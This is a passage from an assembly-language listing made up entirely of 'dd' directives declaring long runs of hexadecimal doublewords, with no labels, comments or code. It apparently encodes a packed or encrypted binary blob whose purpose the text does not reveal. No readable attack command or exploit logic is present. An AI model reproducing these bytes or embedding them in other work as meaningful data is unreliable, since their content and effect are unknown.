91C2132Bh, 8B8069D1h, 57E8B37Fh dd 94105843h, 528D0741h, 0CDB3A97Ch, 3A17B65h, 0BDEC3F77h dd 69E1671Ah, 0B148F3B9h, 74637411h, 887C2510h, 19C3BDh dd 27613AF8h, 5233370Ch, 65D09800h, 0AEEC76BAh, 0A86900FFh dd 0DD1AB85Ch, 8C050142h, 9DB38338h, 0AECAA9C0h, 0A2291D93h dd 0AD304654h, 0AF006E74h, 56A8CF6Ch, 53B7E9h, 1B7A3F84h dd 0FECCD324h, 0F06CE600h, 9C1FFAFh, 98F71D2Fh, 7F9280F6h dd 0EABA5664h, 0E615F101h, 12A5AD77h, 29311C98h, 828B94E5h dd 0AE7322E9h, 222C3422h, 0FE22CE19h, 9F082F03h, 882BC988h dd 3C88937Dh, 0A93B880Ch, 9894C288h, 0BE417911h, 87816C00h dd 56D040C8h, 61F0008Ah, 33A13226h, 60C0EA51h, 0DC7B3D70h dd 6FDB00F8h, 0AA80D9F6h, 0F006164h, 0F0B73311h, 3C4620h dd 0FAD6A783h, 8218A3E2h, 78A2880Bh, 0D7BF80AFh, 16D38A6h dd 0C4577574h, 0CC1958BFh, 971F4E2Ah, 705CF73Ch, 52F12906h dd 0ADE40120h, 5D67AF86h, 27A0FFFCh, 2004D8Ch, 0CAFA1F48h dd 32D0989h, 66F3ED7Dh, 0E3B8EF08h, 313DA08Eh, 0DE548052h dd 4CFF5CA2h, 667803CEh, 592C5E48h, 103D87B8h, 0B83B8D18h dd 3C223756h, 9A80CF44h, 0F6DCDA78h, 0ED00C2EAh, 0BA7384E1h dd 287B11h, 0D6885E4h, 31DB0AE7h, 9A9FA000h, 3FB6B020h dd 0E5A0145h, 41BAF5Bh, 0D53C2106h, 275EC07Fh, 2D391C00h dd 0BDA0F413h, 33760062h, 3F53B28Eh, 8900551Dh, 4195D2AEh dd 0E622FEh, 7A18D35Dh, 40CD8468h, 0CC9B7702h, 80C366A2h dd 0DCB276B4h, 2EC00010h, 0EF8F57D2h, 6C00B386h, 2906D4BDh dd 0AC7F79h, 1EAFF1C0h, 0B5364D52h, 4905DB00h, 986F64ADh dd 0C4721F5Ch, 0F0EFC40Fh, 69688025h, 8B03B167h, 65F776E1h dd 41608A02h, 12F8FC5Dh, 0CEBA0384h, 519782BCh, 758CD4A0h dd 92B0470Eh, 89D24068h, 5AF5A4h, 5595A6AFh, 77508AA1h dd 6BA0DF01h, 5B62063h, 0B0A69040h, 138B00BDh, 88F09E54h dd 2203864Ah, 6AC60B50h, 35A6C04Bh, 927900DBh, 3E95C98Eh dd 472674F2h, 0A100319Eh, 0B3A6BF3Ah, 2CE800B0h, 3897AA75h dd 4601A350h, 8FF007BEh, 67DDB8B9h, 1C58EFE4h, 41521D64h dd 0FDA38077h, 6056F918h, 19F86D1Eh, 7C63593Ch, 7158C39h dd 0A71AA64Eh, 8DE0F060h, 17FF002Dh, 0B569A452h, 49008CE6h dd 0AF02811Fh, 874E80h, 727E5F2Dh, 78271DF6h, 0F017FA30h dd 0B0F37390h, 0A6AC009Eh, 0C2F2A948h, 0A0007961h, 5F0BD2B7h dd 36972B3h, 5522D41Ah, 0A38064DCh, 9103E961h, 0FD57AC80h dd 7D31EAC9h, 98A0F5C2h, 0D2FC70D1h, 8601FBF8h, 9BAE3F6Bh dd 4F7078CFh, 0BA240175h, 5F903947h, 4263E055h, 573F8B00h dd 0DADCEF50h, 0FEC0093h, 0AC859792h, 547FB670h, 7B031800h dd 84A6256Eh, 0AE73B8h, 7EFF5EA7h, 970F7C1Bh, 4EF75500h dd 80FD06C1h, 1C4D7A21h, 0C0326665h, 397B0E9Dh, 62901B77h dd 0A3091D01h, 0FB28907Ch, 25DBE8h, 54AE12E2h, 944E3946h dd 0EDA85201h, 56499BCEh, 4BC4A180h, 92F41F1Bh, 1ACD750Fh dd 801E2FB1h, 60A1C8B5h, 4C55000Eh, 0D6F8AA22h, 1603641Dh dd 0A5B5C3B2h, 2B54F0F3h, 63B300DEh, 807AFBFEh, 78007D74h dd 129F214Dh, 0BB1B864h, 4657EEBh, 0DD7FA180h, 3A71BC94h dd 0C929F800h, 0FC44B039h, 0E28C00C5h, 4026E4FBh, 60065CBh dd 18CC5730h, 4E9252h, 0D93732D6h, 8C594101h, 0BB8B7A00h dd 5C72A2B4h, 0CAF800F1h, 924F3971h, 37E609A8h, 0D9B2B13h dd 0FA212C00h, 19545C8h, 6516F4Dh, 0CC8757F6h, 9D12C75Bh dd 280013F2h, 0BAAC3868h, 8014073Bh, 4747C1B0h, 30EEF7EAh dd 6AA7A33Ah, 0C3519100h, 0BA5E567Ah, 0B714Bh, 89A9B231h dd 0F10FBEDDh, 0FF7C2B02h, 62BA6Ch, 0D3E68799h, 0C96080h dd 0ACE37992h, 0C2596873h, 0F974A900h, 6F397E34h, 64223F38h dd 0B8B1DB00h, 0FBA75E0Ch, 0CF695800h, 1F78A1BAh, 0C6F924F6h dd 2F668348h, 0CE00880h, 0E0B4AB1h, 1D43BF3h, 0C1BAA014h dd 10B87DCh, 0FAC28AA7h, 80EE9608h, 6421ACDAh, 103441Bh dd 0BCE14975h, 8068F3F9h, 3F0E7676h, 0D37A64h, 9683B374h dd 0ACA0C463h, 36A1B100h, 0FB41F189h, 85E640h, 0D03AAA55h dd 4B01F8BAh, 944DF500h, 0DE7C1F89h, 8FF90006h, 878B4A9Bh dd 0D30029C0h, 4590A12Bh, 0A0A375h, 405E17B9h, 0BE9499DBh dd 7DCB5707h, 0B8301B38h, 20C879h, 5BB7CCDFh, 60C3C21Dh dd 39FC8302h, 404072B5h, 80FA61h, 0BC2FBFFBh, 0D9C85547h dd 200417Dh, 0E986CABh, 98B00C85h, 207A13CCh, 0AC9C0052h dd 0E9359DDBh, 8CB35Ch, 0DCF1E378h, 7A468C11h, 8EB4A06Bh dd 1CC0005Ah, 0CED707ECh, 0D403CDAFh, 5216FC31h, 0FA72B3F9h dd 79B460C7h, 0FAD5058Dh, 83A67DB0h, 8FB1F94Ch, 0EE75C468h dd 4EE39A0Fh, 146FA045h, 5094E8BDh, 57880BBh, 0BE730BADh dd 8C44084h, 2D233E29h, 5C64050Eh, 85A442E2h, 1BCC8079h dd 2AB90Ah, 0ADAC9F7Dh, 76AF99EEh, 0CAC8DB09h, 0CFB8005Bh dd 5066F8h, 5A878D1Ch, 625D9A6Ch, 0B5004974h, 3D24B34Dh dd 0EA6DCBB8h, 0B1801F6h, 5749E248h, 9801F333h, 0BE0F2E7Ch dd 0F86463BDh, 232500F3h, 0B7E35324h, 0E426C1C8h, 3C076C1Fh dd 0EFB911h, 0ECBFA4CFh, 0AC101E29h, 91E28031h, 0D60FB550h dd 302C90B2h, 0C420A926h, 44397C00h, 5AEB5751h, 2F50ECD8h dd 0CAF028FFh, 9985AC04h, 0AA80A383h, 3AE98852h, 6C00A49Ah dd 0F0980ED8h, 8A24D06Ah, 0C0074F6h, 93835F38h, 0DD6C01E7h dd 51ADECAh, 21EC372Ch, 43658773h, 0F769CF08h, 0D5508F00h dd 9C7E3492h, 637FEC00h, 78E5D0F2h, 358A0EF0h, 14E31840h dd 6890220Bh, 0F20449AEh dd 0EBEE031Eh, 0C9C2CC0h, 7CD737Ch, 0DB70465Ch, 170F2068h dd 0E7F28AC2h, 56280903h, 0D872294Dh, 0F2C7FFDCh, 0ABF50038h dd 0F1E8CDBEh, 391F0551h, 0F447EAE5h, 0FDD09995h, 5D62B909h dd 0E00000E9h, 56D610CCh, 390702D9h, 14E7AF1Eh, 0AE59EF61h dd 0CD8F60h, 8D8501AAh, 0E2535B57h, 814FF100h, 9FA6D6C9h dd 5DB8A060h, 0D01426EFh, 396A009Dh, 0C99C1DE8h, 903F9E28h dd 0E20057FEh, 2183E040h, 1293599h, 6A77F8C4h, 0EEE4988Fh dd 6FF400E0h, 0FC554F00h, 2B89D728h, 8428C00Dh, 0E3F53A94h dd 451AAD02h, 0E0FA02B9h, 7AE4038Ah, 340D00C6h, 0DD7E3655h dd 0B3007FA3h, 0EEE0B121h, 4C4366h, 0D799498Fh, 0FCB01F58h dd 69D4F200h, 0B01DF37h, 0DCF000EDh, 4C94BE4Fh, 0F11C7D46h dd 834335FAh, 0C067FB39h, 0F4ED1122h, 70957EFEh, 521B00BBh dd 0ECBA887h, 0F024073h, 0C62DAD36h, 5BB080FEh, 9EB441h dd 0EDA2DBA3h, 7E54B332h, 0F5367303h, 804E904Fh, 3FC9945Eh dd 100D8EFh, 24A2E243h, 360EDD13h, 8FB234h, 63734B38h dd 0D6D001A6h, 0C487B6FAh, 0C0402813h, 0AF85CCA0h, 0E89EB04Bh dd 18C900B9h, 771C84E1h, 7300D598h, 6392597Bh, 9D86DDEh dd 0DB3D7558h, 7EE5D460h, 0FA441C96h, 0C6395481h, 7D08F4h dd 5E128B59h, 5D36B3AEh, 87D7402Eh, 0A1C68101h, 0FBD05087h dd 0BFC70751h, 30A582D6h, 92C8E53h, 0EF6EE700h, 0B267A821h dd 6F3B0547h, 0AFFAF20Ah, 2F160880h, 0F0250065h, 0A430BB0Eh dd 0B300559Dh, 45AC2CCDh, 0B848CB8Bh, 1D5CA17Ah, 9D8130h dd 46902BD0h, 91EB97B5h, 0A6FAC5EEh, 0D73DC0Bh, 5B40A054h dd 3F7DEDB6h, 0E23DBF39h, 627E2280h, 53CB76E1h, 1483E51Eh dd 2B9FA6BAh, 0B18E7500h, 5C906E8Dh, 0FC04B00Ch, 0A0CC6335h dd 0A40080DCh, 74E5C1B9h, 4CDEA9h, 0A5D924BEh, 45C3C7E2h dd 9194401Dh, 4044364Ch, 506100A1h, 490938B0h, 1D02928Ch dd 0ECEB66DBh, 0BAA10FDFh, 2CA4CC1Ah, 0E3811D5Ch, 29557641h dd 0B1E0CF74h, 0C2A00007h, 2332B2Ah, 4E6C0F9Bh, 7AC490B0h dd 0ACEE019Fh, 25898A64h, 576EDC29h, 1A1FEF12h, 6D63F840h dd 383E43AAh, 0FC0BD373h, 14800C51h, 637956E7h, 577EBF00h dd 0C6268A61h, 0CB8500B9h, 0DCAB70C3h, 81B872D1h, 2022B000h dd 8699EBCFh, 9C90A5h, 0B97CB555h, 64460B7Eh, 4296171Ch dd 20AB130Eh, 69CDDB2Ch, 91C33F6Dh, 18BA3998h, 70004797h dd 0CD35F0ACh, 3879CF0Ah, 5A80DC29h, 0B28D6B80h, 0EC039D89h dd 0E5622406h, 763A847h, 528E00F6h, 9D7E3A68h, 0C7005ED6h dd 75E8059Ah, 5794EDh, 3DBA8482h, 197B9CADh, 2E0FDAFAh dd 256F52E5h, 0BC00E68Dh, 27A8E049h, 0D9B10F1Eh, 71C0F8F0h dd 761D713h, 0C0D12901h, 30EEFC8Dh, 28DCE4h, 0A1EFF9BAh dd 8F754C9Ch, 0B4ECAB00h, 0CD19F6BFh, 0BDAD0E87h, 54AB90A5h dd 353D5000h, 6BFA3E0Ah, 0EBA88FA3h, 2AC05FAAh, 1757AC81h dd 49FF00CBh, 54F2F3BCh, 85009C83h, 5A09E84Dh, 1F869B18h dd 0C0067C6Eh, 93802E98h, 8C005EEAh, 0D7B71FCFh, 48C083DDh dd 7B0B70E4h, 0F4A0F764h, 0BEE3B0Ch, 82F9CD07h, 0A5904CD3h dd 1E716C1Eh, 0C0A1EC8Bh, 7D4FC6F1h, 0AA162DEEh, 1B00F9E2h dd 648B2A97h, 0A4B65061h, 8245000Dh, 6F3CBE3Eh, 6C07A4ECh dd 87360AE4h, 0D6540560h, 0E63242Bh, 53013C78h, 2AD0156Eh dd 3F24D479h, 5A6C20E1h, 8BBDB900h, 905C2EEDh, 3C7F41Dh dd 0B70442Fh, 0B80E8006h, 3377E4B8h, 0E1823D00h, 1C38358Eh dd 0BD705FF4h, 0D147C381h, 0FC5088CFh, 0EC005B03h, 0F1E4338Dh dd 0C2B0F8h, 0BA59655Ch, 0FE8ADAD2h, 0F52D291Eh, 16B34F40h dd 71E86h, 95B4D8E1h, 0E43BC725h, 80466D3Eh, 0BDA32213h dd 0EA3552h, 344A913Eh, 0CF888D3Ah, 51695D00h, 7CEB85Ah dd 0EC3E3BF8h, 0F29D7403h, 1FB8F689h, 54BA4210h, 79A9D81Eh dd 8BA1048Ah, 0D134B100h, 1943B3h, 979180FAh, 5D22C03Bh dd 6FBCA601h, 0B428FBEAh, 0EC221F8h, 2CF68D52h, 71AC5C02h dd 977D5C40h, 2E4CD780h, 404C56D1h, 120BE3A1h, 0E5C048h dd 0CC0E0815h, 3EF4F5Ah, 742EB6DCh, 6DF9BBB1h, 20B4500Ch dd 0F000F287h, 0AA1BD289h, 0DC15FE12h, 4C0D5D30h, 4C287C46h dd 0AFF7FB01h, 228F681Bh, 10123420h, 177ED29Dh, 0E503B11Fh dd 0D830D58Eh, 1765834Bh, 0BE36772h, 0DF000B58h, 136D2EA9h dd 1287E52Dh, 31ADC060h, 89BF0024h, 5F451BE7h, 9500C6F6h dd 0F2129F94h, 15E0B0h, 7090FFF8h, 84BF5D2Ah, 38E5DA00h dd 0A7F36C56h, 147B004Ch, 0ABD9F4D7h, 0EC019F90h, 0E7E25417h dd 0C4602723h, 9DFA0048h, 0AF67FDA6h, 2B3C5A16h, 770900F8h dd 7598F6B7h, 0B0150F99h, 0AF00379Dh, 0EB9F51F7h, 94C92A00h dd 22A95462h, 93ED0049h, 0ACAF4B44h, 0A80035FFh, 875D8550h dd 0E7BB9D3h, 5FA63795h, 12F6EBA0h, 0D717D1B7h, 6B009AF8h dd 364A849h, 599300EFh, 36051A94h, 6A00268Dh, 7FCEA280h dd 4D5C516h, 0D46171D9h, 0A80CA0EBh, 57F96D00h, 8E289A8Ch dd 799B7456h, 0F84D7108h, 3C92D4h, 0DB078229h, 0CAF28B25h dd 448E1D00h, 456AF7CBh, 0B8A061ADh, 8014DFE0h, 26A39959h dd 0B7B7062h, 59E28178h, 542DB800h, 6B70FC71h, 0D1C98A00h dd 80DA1F6Ah, 0E707039Bh, 0C1431389h, 2E5EB598h, 0E534B61Fh dd 3B852000h, 0DAAA0Ch, 186E8B3h, 33E37107h, 180115F6h dd 0B002475Dh, 0A08038FFh, 0EF247513h, 0AB003495h, 2E4C8AA1h dd 192F831h, 6F07AABEh, 70308C0Dh, 41556B85h, 99900C64h dd 62788307h, 0DD40CB92h, 50D47471h, 0EE6B10E8h, 0E639C0ACh dd 2AF28DBDh, 0ED281A00h, 1B7BDF6Ah, 0E57907F7h, 6757FCC7h dd 0A8EA3093h, 0C5071ADEh, 1F0910EFh, 0B3B56FC0h, 0C4623BE4h dd 0FC98D880h, 71BD1D08h, 59F0A900h, 91A3DFCFh, 2AA00EB9h dd 6D40B15Ah, 21E39E6Eh, 0EE1FE279h, 0E94E05B2h, 10F40751h dd 4CA97Ch, 706334CFh, 6BAA1D8Bh, 3078533Ah, 445721C9h dd 99A4004Ch, 6F2A3209h, 900782DBh, 0D69405EAh, 1D453020h dd 52933CEBh, 0F22FE080h, 7E8E6F71h, 38809050h, 81A74403h dd 0D19ED57Dh, 6D2079D9h, 5F590B83h, 720EF3E7h, 63AF20F8h dd 0DA50C70Ah, 0D27020C6h, 98078C6Ch, 74D75B9Fh, 89304Ch dd 0E1FBAA86h, 5CA8A7Dh, 2A8D953Ah, 5EE6C8F6h, 0A42FAA00h dd 401A652Eh, 41D9F992h, 692000EFh, 0BA3FCD08h, 343F0357h dd 33581D87h, 0E71A811h, 2FEB45DAh, 81F454C2h, 28B39EC0h dd 1F9C1754h, 2003A47Dh, 39F9CE32h, 0C922EF12h, 3FA560F7h dd 7D1A3719h, 2A2FA0B1h, 0C80649A0h, 0AFD9306Ah, 0BD8506E0h dd 788E6C6Dh, 0F6EE600h, 9CD7275Fh, 57DB2894h, 19AA0D98h dd 8898E586h, 602B44C8h, 56903F23h, 91335321h, 5F3CA1h dd 9B7D23Ah, 0B0FB2818h, 0E340004Dh, 9F970CBCh, 0E2304921h dd 0A0BB30A9h, 2B4AC09h, 0CAF1AA6Ch, 4C188DCDh, 43A681AFh dd 0DDF8A3C4h, 4600630Ah, 51FC1BF3h, 24AE6EBEh, 9498D12Ch dd 28819C10h, 0F026CCBBh, 0D8A8C7E6h, 1600E271h, 6F689A0Eh dd 3B0EDFEh, 17844DF9h, 0DB8925Fh, 8C65DC0Bh, 0E83A6999h dd 0BA00A323h, 0E42549CFh, 0CDAD0082h, 950D2EDEh, 8C769BD0h dd 5231B0Ch, 0D0762E77h, 9F3FCC38h, 7D22D000h, 4EEB24EDh dd 2725BD3Ah, 0B91C80D1h, 0ECBEABEh, 3FAF1705h, 0C148E520h dd 4105CD20h, 9198F796h dd 0BC10DC2Fh, 2C03C0B1h, 5273F791h, 0CA07A038h, 338ED34Eh dd 0EED0FD1Fh, 27309706h, 99E021F6h, 284200CDh, 0E5FE14D6h dd 0C4602AD8h, 51DD5359h, 20660A87h, 11A419BBh, 3F228729h dd 32DB57D1h, 6A88A20Ch, 0B43A035Fh, 934467Bh, 0EC082087h dd 9F54D377h, 9C058288h, 0A7E422F5h, 0B22AEB00h, 91EBDF43h dd 28D8001Ch, 67639A35h, 84524F3Fh, 64EB71A9h, 98527885h dd 73FC0500h, 632B387Fh, 686381A9h, 31568181h, 5AA4FCA8h dd 0CB09807Bh, 818F9895h, 0D969784Ch, 3E5FE058h, 85085DD0h dd 4842EC0Bh, 0EDBE0053h, 620ECBE9h, 5F749017h, 1D0A546h dd 6ACE03D1h, 82838481h, 0FBE20EA8h, 2A65D502h, 0E034736Eh dd 1706854h, 0E6BB2693h, 0EFAEDA1Ch, 0D52E81E8h, 7C2608FEh dd 5A916428h, 9CAA6D80h, 208CE5CAh, 0D748AE4Eh, 326000B0h dd 8C02826h, 774D013Fh, 7A138A2h, 2A8C50DEh, 0B00048FEh dd 0F3F439F6h, 2FCC08h, 0A2B1CB65h, 4D85697Dh, 0E30188A6h dd 2586C9D0h, 7208EAB5h, 71525440h, 71931ED1h, 0FCB8241Ch dd 0F6914900h, 0F8BF60D3h, 0F7C5173Ah, 0CC0CC047h, 0F225AB1Dh dd 0CF77C070h, 5AFC0027h, 0C5E355AAh, 85090D2Ah, 90D75FE8h dd 7E6F114h, 580A3CA9h, 78C09042h, 0F2004CB7h, 0CE98022Ch dd 1E33193h, 0A658D9B3h, 0F45D6015h, 130A568Dh, 0C0A0BD69h dd 0A0F6215Ch, 344EDA92h, 52E04765h, 0B098F205h, 613404CDh dd 32779B70h, 2A2D201Ah, 2909DB42h, 0E0F32CADh, 0B85B7D90h dd 0C7B80084h, 0F62F276Eh, 8092DBACh, 6576691Eh, 6B75A500h dd 0F1D47116h, 0E29457C8h, 0F618B2E2h, 0EC4F5669h, 3D08D02h dd 546C157Dh, 1540A44h, 34E6EAB3h, 0D870C9C3h, 6E01B6DDh dd 1A611B8Fh, 7080647Ch, 22D443B1h, 0A7059C80h, 0AD788221h dd 6841880Bh, 0DA949Ch, 5A984CBCh, 5F81A283h, 38029972h dd 2A73CE23h, 5C80A718h, 8B688B63h, 7FA90312h, 937D29DAh dd 72569838h, 1A82753h, 706D34F1h, 0C70C2C3Bh, 13E5988h dd 0D4168F35h, 30774FD7h, 5491AEB0h, 86B21AF8h, 18EA8C01h dd 1E1028FCh, 0A7CB6980h, 735DDC6Ch, 2E428C00h, 0C2560384h dd 58FFC47h, 812C8BC0h, 103C3AB1h, 0D7C0B1C6h, 564385BBh dd 95732A0Ah, 0D39D9083h, 0DCAB02C4h, 376DCC8h, 0F708E66Bh dd 0B8E080F9h, 62EAAAEh, 42620C61h, 3F891840h, 23565E1Fh dd 0F91B98E1h, 3A720695h, 0F197BD30h, 0E43314ACh, 1676008Fh dd 0DBCD9A4Ch, 0CE2415F1h, 0D8473852h, 0D1BA60F8h, 0BD217D20h dd 53368825h, 0EAC4BF00h, 0D015EDh, 3FFFEF81h, 8C6EF03Ah dd 2450C738h, 9CC3A407h, 6370F034h, 18448622h, 33F5002Ah dd 61DA2E5Ah, 5800C7A6h, 889C6AA7h, 98F43FAEh, 7B4FEE59h dd 0ACD5041Fh, 0C00C8D87h, 3117359Bh, 0CDD6F700h, 7BCCB692h dd 32CB3B06h, 0D03E2580h, 41EFDA20h, 5C6B6600h, 585018Ch dd 0E0D500FDh, 7133912Eh, 0B67B257Ah, 6034CE0Ch, 0B24052h dd 0B5E802C6h, 0A1E3A3EDh, 71D74F00h, 43089FFAh, 697FC2h dd 0FD3BBD61h, 48931B46h, 0AF1FB300h, 0CAEA9C0Ah, 4B950023h dd 0C941F02Ah, 300090E2h, 3CD92D75h, 1E5B0889h, 433BCA36h dd 1CCB457Ah, 4CF6F5C8h, 0BDE16A00h, 6CCCB102h, 0E7FD00CFh dd 521E90E3h, 6600F5DBh, 0B2C0A64h, 77F63BCBh, 809D6001h dd 0C87724FFh, 5286660Ch, 75766078h, 0B381CFC1h, 6FBAF5E0h dd 2A00B688h, 0C68DD394h, 1C73D945h, 0C1C3F0F7h, 0EFB46FF4h dd 0E48CC21h, 0B8A8C41Dh, 47B51E00h, 9B7E05h, 740B46D9h dd 91327B3Eh, 498D8900h, 4C65609h, 841000B3h, 0AD3E759Fh dd 0FD19E717h, 9D411552h, 420EE8h, 0D09A8F93h, 453FDBFEh dd 0E0A07EE6h, 4A00A344h, 0E04BFD91h, 724BEABh, 0EC4D45BBh dd 6B189355h, 3CAC000h, 0CB3994FBh, 0D245003Eh, 0DC9DF014h dd 0EF3FB9B2h, 33FA806Fh, 0DE9E776Bh, 0DF0E007Ch, 4E28DA80h dd 8C006246h, 0C67AFCC3h, 48BFED05h, 7F03C803h, 1D27FD78h dd 95ADE000h, 5648649Eh, 9F6601C9h, 0F916D599h, 2D208087h dd 0BD5996BAh, 0CB350AF6h, 3CE6D05Ch, 718C0D87h, 4EE7B07Bh dd 1D00F241h, 467A9BB1h, 652B48h, 7330EE38h, 4157033Ch dd 250E6D77h, 2090AC6Bh, 82928AFh, 0ECCD00E5h, 10C1FC69h dd 1612E8CFh, 178Ch, 4E35B560h, 66E30096h, 0B322A1CEh dd 7403F27Eh, 88F128AAh, 70ECE0B4h, 3CFFC4Ch, 72900305h dd 28E0A236h, 5200FABCh, 9DBB5AFDh, 1FBE709h, 2C049417h dd 0A8653876h, 0F90140C0h, 1B66EC48h, 0A829129Bh, 0D00171B8h dd 8909602Bh, 55706DF4h, 0EDCB25Bh, 0DA8AD7AAh, 11C89DC1h dd 77BFC8FEh, 4779FCB9h, 5B00FD18h, 2AE40D3Bh, 2697351h dd 2F5ECBF4h, 885BAB3Fh, 0E0772C58h, 0F7ABFh, 0EB0226D3h dd 0B1304759h, 7CED902Ch, 7F1B4103h, 0FF46E06Dh, 236500C4h dd 0BE20F0C9h, 0B7003EC0h, 7D96FA30h, 42FBC1h, 0F2E5158Dh dd 0C5366AB8h, 0F8629E1Dh, 0F09AEAC3h, 0FA15D8A2h, 8C460ABAh dd 71205ED5h, 6B0C1CDBh, 8057281Bh, 541459AEh, 88211D31h dd 5548879Ah, 8B0E03D7h, 65046FADh, 469D760h, 6A03E707h dd 0BD0802E5h, 0A0814664h, 9F934827h, 0A2503A88h, 302C3043h dd 0E0107FEAh, 0A8657CCDh, 7EC520h, 51F8AB1Ch, 539FB3BFh dd 48FA4733h, 280AA545h, 3C0A18B1h, 34204CDCh, 19DA79CCh dd 1C43E157h, 1071618Eh, 59F70222h, 1808A250h, 44160481h dd 0DA047308h, 839D29E3h, 816D7F20h, 6802C8E0h, 961C98F9h dd 0D06E70D2h, 7D8A0C09h, 736D0A14h, 80813248h, 502DC53Bh dd 3AE42C20h, 310E8393h, 0C12E0B22h, 28010Ah, 4314B7BBh dd 1C0D4DA4h, 83D58FFh, 43A1004h, 202445F8h, 2104DC16h dd 14906BA1h, 1DD6FF2Fh, 80ADFBCBh, 1A042CBAh, 0C53308C3h dd 908C4165h, 1274CF72h, 43077D49h, 3AD153F0h, 8403926h dd 59D8FE8Ch, 0B22A19DFh, 0D0B548C7h, 67005177h, 7DEF6C44h dd 496EFF82h, 0D3019C46h, 9FE39103h, 4010A4D9h, 0B06AF00h dd 36A0D140h, 48697080h, 636920h, 0ED322A8Eh, 8084227Bh dd 0D7B3E518h, 0DAB808h, 32F261F6h, 41262B49h, 0D1ABFA0Ch dd 18D5A946h, 853AD38h, 578B7ACh, 0FE54970Dh, 488CC160h dd 0B408DAB9h, 0C400F2F0h, 34CF15A6h, 8FBD7Fh, 91D2C211h dd 44DE5FA5h, 16897000h, 482FF753h, 474A17F0h, 20E4C412h dd 7DB2BAC4h, 8CCA9028h, 7269880Ch, 1CFFE86Fh, 382FB67h dd 61986E79h, 414A8907h, 0A087CED3h, 97446040h, 0E359189Eh dd 0B5BC2843h, 0F0CF8480h, 813F32BFh, 84802DC1h, 0D95E4655h dd 0E5974500h, 0EC960F5Ah, 815D0682h, 685FBF47h, 2C137080h dd 0D875B9E8h, 17B40A03h, 0C71E1643h, 0C8918403h, 3D8F1BF7h dd 9F3F7D4Ch, 0EB262060h, 0D03CA06Ch, 0A7A16127h, 0B0425499h dd 0A10C40A3h, 16F8ACh, 9FE1B2E7h, 0DBECAE26h, 2CF75502h dd 49B37D43h, 0A85CAB54h, 1E54F0A0h, 3A8B673Bh, 57EC3288h dd 0C1F7FE8Ch, 0BB150555h, 281A1E09h, 0C443B8B8h, 89E69C22h dd 7900B974h, 617AE28Bh, 399FBF52h, 0F9001375h, 0B955EB60h dd 5DE67DAEh, 87D10713h, 2FC05040h, 2882EF1Ch, 7F4B26Dh dd 9C13AE25h, 31ADC124h, 0A1A0DC81h, 0D5281DF0h, 5F3E9079h dd 2F5800FDh, 0BBC40643h, 0C6140CD9h, 0D1209EEAh, 3502349h dd 9333545Eh, 3DC82410h, 531908BCh, 9488B820h, 0E9C0C8D0h dd 658A8F57h, 82B6054Ch dd 0C3325088h, 0EBA1F6C9h, 0FE80D074h, 14D183Eh, 571835Eh dd 34E461B5h, 7B2F032Dh, 0F8FBEEAEh, 50906BF3h, 0B2309381h dd 0D2033053h, 0BE7C1785h, 20761B78h, 522A05F0h, 11FF9F1Dh dd 0BA212830h, 30797088h, 0D0683C62h, 3F487E2h, 61A6B748h dd 86DCDE98h, 600C8CECh, 1603296Eh, 7600B6AAh, 0F57BE8EAh dd 720EB8Ah, 0B761BC14h, 0D9872602h, 51ACE600h, 37FA2D6Ch dd 9199EBE8h, 83D2994h, 5BF60C44h, 357989E7h, 0AE9DF81Fh dd 70075869h, 904CC22Eh, 0FA008C5Ah, 0A766D297h, 40D009h dd 589FC233h, 2D6EF747h, 0D152B601h, 93F57A66h, 35DBFFCh dd 0C06AE39h, 9FC8536Dh, 0F41F851Bh, 0E51538C8h, 0C0203A8h dd 8E6CD6EDh, 0FC9E1471h, 0EE3DB076h, 442822C2h, 90FBEF8h dd 0B10185C0h, 439DBA3Bh, 0E46C0060h, 7A0A2A44h, 0FC0094E6h dd 0B114230Bh, 0E0FDE6C6h, 2684A8A5h, 0AF10CABBh, 22DE8094h dd 57B13C14h, 81ED9730h, 0C344208h, 0B7C2860Eh, 0BA0385B9h dd 508C826Eh, 6C110079h, 64DC588h, 8F24B99Eh, 9F872041h dd 0C1CFACDDh, 9D17DF6Ah, 0F0F0CDE1h, 65850225h, 0E8F3387h dd 9835C88Fh, 801773Eh, 0FD5455A9h, 873AE433h, 270051D3h dd 0BC78A073h, 0C42E008Eh, 427940Eh, 6900C2E9h, 70837C8Fh dd 54B95C16h, 6509082h, 2FCA3424h, 320049CBh, 0AFD02163h dd 0DDA8EAh, 9C097453h, 4A5ADF7Ah, 33BC9F00h, 1EF9588Eh dd 0D8270C6Bh, 2E51FA30h, 1D9E0300h, 6D7B0550h, 510F3834h dd 5721C07Bh, 7FBCF0C3h, 87CAE00h, 78E2364Bh, 75E41E29h dd 24494086h, 0A389F93Eh, 94055507h, 743AA764h, 84CF803Fh dd 0E691B230h, 8A492AE8h, 3AC13BD4h, 5C6FF587h, 103F0735h dd 13CBC9F2h, 150C8700h, 61056548h, 6EEC028Ah, 0E578A753h dd 0D85DE8A2h, 38270048h, 0ED5A8D07h, 4E0021F2h, 24EAEE8Bh dd 8034DBC5h, 0B34BA249h, 7A143B39h, 701BC7h, 28ABBD6h dd 563359h, 12F4B23Fh, 871C8245h, 0DF344E01h, 0B10C2E77h dd 1F966E4h, 0E93F3B7Bh, 0D430B6F3h, 737A0B19h, 0CCE47800h dd 8B0579C9h, 0D35B00D7h, 0E60F3D68h, 17009A19h, 0EB9FAF26h dd 64216E3h, 5BF9C7Eh, 6F82954h, 40677488h, 1084E2A3h dd 11063E47h, 0DC1FD317h, 0BE22A0A8h, 58A42243h, 0F0111342h dd 512A30DDh, 1CC31Bh, 0E538DF0Ah, 0CF82001h, 3398C207h dd 0FF00F2B1h, 8A475Dh, 0A1B8730h, 0E5A8263Dh, 0BD76BF01h dd 7CBC8F0Dh, 0B0101060h, 1B16003Ah, 7B9BC6D0h, 210055B4h dd 2C2FE6CEh, 5D69D2h, 0C94C6C99h, 46034AEBh, 89448C07h dd 0F56148D9h, 0EFEB28FAh, 0AB7C80A0h, 263700F3h, 0DB95A749h dd 0C9003619h, 6772EAC8h, 60DECCh, 7AD4D9Ch, 2EDC8F9Eh dd 0E971A000h, 1286056Eh, 9B080E66h, 844A51C4h, 8E7600A9h dd 0F5BB1F3Ah, 0CE261E00h, 9F9D94ACh, 0C2CD00C8h, 44F99742h dd 0B700936Eh, 6C9BB2FBh, 0FA0F2939h, 365900B5h, 0CF5B95A8h dd 62508A7Fh, 100073F4h, 8039DE6Eh, 85889Dh, 1D54243Bh dd 47324AC3h, 0A9A5C000h, 0EAF12FAh, 0D89A63F2h, 8EABB74Fh dd 0C87EF8F1h, 420378C7h, 6740FE0Fh, 17C800EBh, 0D0F5258Ch dd 0E718BFC5h, 9CBC0650h, 1CA5715Ch, 